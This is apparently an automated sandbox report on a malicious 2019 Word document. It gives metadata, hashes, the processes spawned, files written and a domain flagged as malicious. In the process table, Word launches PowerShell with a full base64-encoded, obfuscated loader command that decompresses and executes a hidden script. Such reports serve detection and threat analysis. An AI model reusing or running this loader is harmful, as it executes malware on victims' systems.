File name: | 6755fec6f5c98afbfbb0cbe29cf6889e00b00e672c180d282ed71550225c912c |
Full analysis: | https://app.any.run/tasks/a829a938-ddb7-47b8-b497-40abcaff3b7b |
Verdict: | Malicious activity |
Analysis date: | July 11, 2019, 18:18:43 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: bngzuvdefhjicysimprujqairi, Subject: r, Author: vrhozltpfeyqaayqftcnhdt, Comments: bjsyn, Template: Normal, Last Saved By: Windows, Revision Number: 11, Name of Creating Application: Microsoft Office Word, Total Editing Time: 03:00, Create Time/Date: Thu Apr 19 19:59:00 2018, Last Saved Time/Date: Wed Jul 3 09:23:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
MD5: | 6DCEFBB8FB1807F47EE49583FD7FBFDB |
SHA1: | 7921337CC1E82D29AA004FB352BD08E48CBBB62D |
SHA256: | 6755FEC6F5C98AFBFBB0CBE29CF6889E00B00E672C180D282ED71550225C912C |
SSDEEP: | 768:N7KBiaJxfMYiklUmyP4QvLAHBR53ypbDsxz992AIJ2IRTPE1dp:NW2YiSUmywQmBRpypbDs3tIJ5Zgd |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
HeadingPairs: |
|
TitleOfParts: | |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 1 |
Paragraphs: | 1 |
Lines: | 1 |
Bytes: | 23552 |
Company: | leuujbtltrqohaubrl |
Manager: | jlnximvmbdxrjolhdsvitqegra |
CodePage: | Windows Cyrillic |
Security: | None |
Characters: | 1 |
Words: | - |
Pages: | 1 |
ModifyDate: | 2019:07:03 08:23:00 |
CreateDate: | 2018:04:19 18:59:00 |
TotalEditTime: | 3.0 minutes |
Software: | Microsoft Office Word |
RevisionNumber: | 11 |
LastModifiedBy: | Пользователь Windows |
Template: | Normal |
Comments: | bjsyn |
Keywords: | - |
Author: | vrhozltpfeyqaayqftcnhdt |
Subject: | r |
Title: | bngzuvdefhjicysimprujqairi |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2884 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\6755fec6f5c98afbfbb0cbe29cf6889e00b00e672c180d282ed71550225c912c.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2528 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Enco IAAoACAALgAoACcATgBFAFcAJwArACcALQBvAGIAJwArACcASgAnACsAJwBFAGMAVAAnACkAIAAgAFMAWQBTAHQARQBNAGAALgBpAG8AYAAuAGMATwBtAFAAcgBgAEUAYABzAFMAaQBPAGAATgAuAGQARQBgAEYAbABhAFQAZQBgAFMAdAByAGUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoAZgBSAG8AbQBCAEEAcwBlADYANABzAFQAUgBpAG4ARwAoACcAUgBZADkAUgBUADQATQB3AEgATQBUAGYAVABmAHcATwBmAGMAQQBVAGcAaQBzAEoAWQBwAHcAUQBZAHQAeQBZAEMANABsAGgAeQAyAFIAcQBvAGkAWgBqACsATwArAG8AUQAxAHAAcABOADkAdwBJADMAOQAwACsAegBPADMAbAA3AHUAWAB1ADgAagB1AEQAUABmAFAAKwB6AFcAQwBEAFEAbwBTAGIAMQA0AEcAUQBvAHMAYQBCAE0AYwA0AG4AOAB6AFIANwBDAEEAMgBvAHQAdgA1AEcAUQBpADEAcQBUAGwAawBKAE4AbgA3AEgAdABuAEcAbwAyAEoAagBBAEwAKwBnADAAOQArAGoAdAAvAEQATQBrAEoAcQA2AHcAagBhAEgAcABjAFcAMwBMAEwAOABnAFYAdABsAEEAQwBpADMAUgBCAEcAbABnAHUAaABvADgATQBrAGoAUQB3AHQAcAB0AFoATgBMAG4AZgBEADAATgBjAEsAQwBWADgAeAAxAEcAYwBsADMAdgBYAHIAYQA0AEoAcQB5AGgAMwBXAFAAUABqAE4ARQBLAHUAaQBTAGoARQBYAFIAbABTADIATABsAGsATABUAEcAUgBvAG0AVABLAHgAQgBmAFkAQwBpAGkAdgBJAGMAcwBMADAANABpAG4ANAB0AHQATAAyAEEAdABpAEYAVABvAE8AVwA2ADIAcQBkACsAMABCAGkAMABTADgAUwBVAHEAZQBSAFQAUQB1AFIANgBmAEMASgBmAG8ALwBhAFEAVQB4AFIAYQBhAHAANgBjAGUAZwBlAHIARgBHAFYANgBEAGwAVwA3AE0AZgBJADYAUQBjAEoAVwBOAFYAbwBOADQASwBrAE8AdABkADkAVAAwAEwAdABXADgAUgB5ADEAWQBWAGwANAByAGwAawBrAHgAcgBuAG8ATwBVAEgANwA3AC8AbABHAFkAegBaAFoANwBHAGwANQBwADAASABYAFIAZABuAHEAbQA4AGEATAB2AHUALwBPAHcAUAAnACkAIAAsAFsAcwBZAHMAVABlAG0ALgBpAG8ALgBjAE8ATQBwAFIAZQBTAHMAaQBPAE4ALgBDAG8AbQBwAHIARQBTAFMASQBPAE4AbQBPAGQAZQBdADoAOgBEAEUAQwBvAG0AcAByAGUAUwBTACAAKQB8ACYAKAAnAGYAJwArACcAbwByAGUAJwArACcAYQBjAEgAJwApAHsAIAAmACgAJwBOAEUAVwAtAG8AYgAnACsAJwBKACcAKwAnAEUAYwBUACcAKQAgACAAaQBgAG8ALgBgAFMAYABUAHIAZQBhAG0AUgBlAGEAZABlAFIAKAAkAF8ALABbAHMAeQBTAFQAZQBtAC4AVABFAHgAVAAuAEUATgBjAG8AZABJAG4ARwBdADoAOgBhAHMAQwBpAGkAKQAgAH0AfAAuACgAJwBGAG8AcgBFAGEAJwArACcAQwAnACsAJwBIACcAKQB7ACQAXwAuAHIAZQBhAEQAdABvAGUATgBkACgAKQAgAH0AIAApACAAfAAuACgAJwBJACcAKwAnAGUAeAAnACkA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2884 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR34D5.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2528 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\14UVV3ORAG615JMDRSNI.temp | — | |
MD5:— | SHA256:— | |||
2884 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:D650B4234FED2475526A5788CADA9DB9 | SHA256:022DC1F97CF0C31FF328599BB7BF8066C11725C9097D8B55D4F67750F19F10F5 | |||
2528 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1543f8.TMP | binary | |
MD5:47388A8B771AD359484FBDBC4C2AF508 | SHA256:710A35A9173421C3A0A348EB1AA0D656CB806F93E2E84C36F60FE2ABE570E7F0 | |||
2884 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:5C751890F2E6CB2A2BFEFC1E87B1F2DB | SHA256:4A5BF357EF3EB643A744B5BDCC4919DC4020513101BB09F79A5FFEE30CE21DC1 | |||
2528 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:47388A8B771AD359484FBDBC4C2AF508 | SHA256:710A35A9173421C3A0A348EB1AA0D656CB806F93E2E84C36F60FE2ABE570E7F0 | |||
2884 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$55fec6f5c98afbfbb0cbe29cf6889e00b00e672c180d282ed71550225c912c.doc | pgc | |
MD5:510389D036E998D8A54E46084E2BECE2 | SHA256:68AE5ABBC86ACAA03ED0D2FEF8D41E1C8C463FA074037D495E02119A74C4DE32 |
Domain | IP | Reputation |
---|---|---|
toolz22n5.info |
| malicious |